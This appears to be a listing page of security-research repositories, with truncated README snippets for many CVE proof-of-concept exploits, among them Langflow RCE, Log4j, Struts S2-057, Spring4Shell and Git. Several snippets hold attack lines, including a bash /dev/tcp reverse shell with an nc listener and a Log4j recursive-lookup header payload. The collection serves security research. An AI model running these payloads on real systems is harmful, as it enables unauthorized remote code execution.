Langflow-cve-2026-33017-exploit

Langflow RCE Exploitation Framework CVE-2026-33017 · Authorized security testing for Langflow remote code execution Research & red-team tooling for validating CVE-2026-33017 against Langflow instances you are explicitly authorized to assess. Not for unauthorized use. Disclaimer This project is...

CVE-2026-77991

abraxaslabs.tech · github.com/abraxas · @abraxasnull · [email protected] · CVE-2026-77991 Write-up: https://abraxaslabs.tech/research/CVE-2026-77991 CVE-2026-77991 JEM - Joomla Event Manager 5.0.0 - joomlaeventmanager.net I am @abraxasnull. Loopback lab. The client is...

CVE-2026-47630

CVE-2026-47630 — NVIDIA Triton Inference Server: arbitrary dlopen via TRITONBATCHSTRATEGYPATH Absolute path traversal in the custom batching-strategy loader of triton-inference-server/core. A model configuration parameter is passed unvalidated to dlopenRTLDNOW | RTLDLOCAL, so anyone able to...

CVE-2021-26700

RCE in NPM VSCode Extension Fixed 10th February 2021 in https://github.com/microsoft/vscode-npm-scripts/commit/cdd5e507564e0cc0f60bcccf184822be3fd73e07 https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-26700 Summary Remote code execution vulnerability in the eg2.vscode-npm-script...

CVE-2021-45105

tejas-nagchandi/CVE-2021-45105 Replicating CVE-2021-45105 API curl -I localhost:8080/currentDateTime -H 'Time-Zone: GMT' Output: Attack curl -I localhost:8080/currentDateTime -H 'Time-Zone: $$::-$::-$$::-$' Output: Logs: Reference: https://vulners.com/cve/CVE-2021-45105...

librsvg: Use-after-free when XML includes have duplicated entities

A flaw was found in librsvg. When processing an SVG document containing nested XML inclusions Xincludes with duplicate entity declarations, a use-after-free error can occur. This vulnerability arises because the library incorrectly frees an XML entity that is still in use by the parser. An attack...

CVE-2021-21300

CVE-2021-21300: Arbitrary Code Execution via Malicious Git Hooks 📌 Summary CVE-2021-21300 is a critical vulnerability in Git versions 2.14.2 to 2.30.1 that allows attackers to execute arbitrary code on victim machines by exploiting symbolic links and case-insensitive file systems. 🧠 Problem...

CVE-2019-0708

CVE-2019-0708 Unauthenticated CVE-2019-0708 "BlueKeep" Scanner PoC by @JaGoTu and @zerosum0x0. Technical details: https://zerosum0x0.blogspot.com/2019/05/avoiding-dos-how-bluekeep-scanners-work.html Metasploit Module The Metasploit module has been pulled to rapid7:master. msf5 use...

CVE-2017-8759

Exploit toolkit for CVE-2017-8759 Do not be an asshole Simple tool written in C to handle the RCE vulnerability in .NET Framework 2.0, 3.5, 3.5.1, 4.5.2, 4.6, 4.6.1, 4.6.2 and 4.7. aka ".NET Framework Remote Code Execution Vulnerability." Help C:\Users\Jonas Uliana\toolsCVE-2017-8759.exe /h INFO ...

WSOB

😭 WSOB CVE-2022-29464 😭 WSOB is a python tool created to exploit the new vulnerability on WSO2 assigned as CVE-2022-29464. CVE-2022-29464 details: Certain WSO2 products allow unrestricted file upload with resultant remote code execution. The attacker must use a /fileupload endpoint with a...

Safer_PoC_CVE-2022-22965

SaferPoCCVE-2022-22965 A Safer PoC for CVE-2022-22965 Spring4Shell Functionality Creates a file called CVE2022-22965exploited.txt in the tomcat directory 'webapps/ROOT' Option user argument to change the output directory Exploit validation is performed by requesting the output .txt file, dependin...

fastjson-tp1fn1

json.org CVE-2022-45688 true & false positive WTF ?? The project contains a fastjson dependency with CVE-2022-25845. The vulnerability occurs as markup in JSON is interpreted as Java beans, i.e. classes are instantiated and properties are set by executing setter methods. This is done using...

pulse-gosecure-rce-poc

pulse-gosecure-rce /\ \ /\ \ /\ \ /\ \ /\ \ /::\ \ /::\ /::\ /::\ \ /::\ \ /::::\ \ /:::/ / /:::/ / /::::\ \ /::::\ \ /::::::\ \ /:::/ / /:::/ / /::::::\ \ /::::::\ \ /:::/:::\ \ /:::/ / /:::/ / /:::/:::\ \ /:::/:::\ \ /:::/:::\ \ /:::/ / /:::/ / /:::/:::\ \ /:::/:::\ \ /::::\ :::\ \ /:::/...

mxc

MXC SDK samples Audience: MXC consumers These samples demonstrate the supported V1 SDK surfaces in Rust, .NET, and Node. They are organized by scenario so equivalent operations are easy to compare while each implementation remains idiomatic for its language. Scenario| Purpose| Rust| .NET| Node...

CVE-2024-32002-Reverse-Shell

CVE-2024-32002-Reverse-Shell This script demonstrates how to exploit CVE-2024-32002 to obtain a reverse shell, providing remote access to the affected system. Use it with caution in controlled environments and only for educational or security testing purposes. Blog Post This script is inspired by...

CVE-2018-11776

CVE-2018-11776 Environment for CVE-2018-11776 / S2-057 Demo Run server $ docker run -d --hostname struts2 --name cve-2018-11776 -p 30080:8080 knqyf263/cve-2018-11776 Exploit $ nc -l 10000 or nc -lp 10000 $ python3 exploit.py localhost:30080 'bash -i & /dev/tcp/192.168.33.1/10000 0&1'...

bmc_bladelogic

BMC Bladelogic RSCD remote exploits for Linux and Windows Change passwords, List users and Remote code execution Exploiting vulnerabilities in BMC BladeLogic RSCD agent CVE-2016-1542 BMC-2015-0010 CVE-2016-1543 BMC-2015-0011 CVE-2016-5063 Published on exploit-db BMCrexec.py...

CVE-2014-1303

CVE-2014-1303 PoC for Linux CVE-2014-1303 WebKit Heap based BOF proof of concept for Linux. This repository demonstrates the WebKit heap based buffer overflow vulnerability CVE-2014-1303 on Linux. Used in the seccamp lecture. NOTE: Original exploit is written for Mac OS X and PS4 PlayStation4. I'...

poc-proxycommand-vulnerable

RCE via insecure /.ssh/config Use of tokens like %h, %p in ProxyCommand is quite popular to use tunnels and connection proxying using SSH. Vulnerable config host .example.com ProxyCommand /usr/bin/nc -X connect -x 192.0.2.0:8080 %h %p Note: in my initial assessment I was under the impression that...

CVE-2020-15148-bypasses

CVE-2020-15148-bypasses Several bypasses for CVE-2020-15148 Yii2 deserialization poc1 This one is exploitable in version 2.0.37, fixed in 2.0.38, which was assigned CVE-2020-15148. The following three are bypasses. checkAccess = 'system'; $this-id = 'ls'; namespace Faker use yii\rest\CreateAction...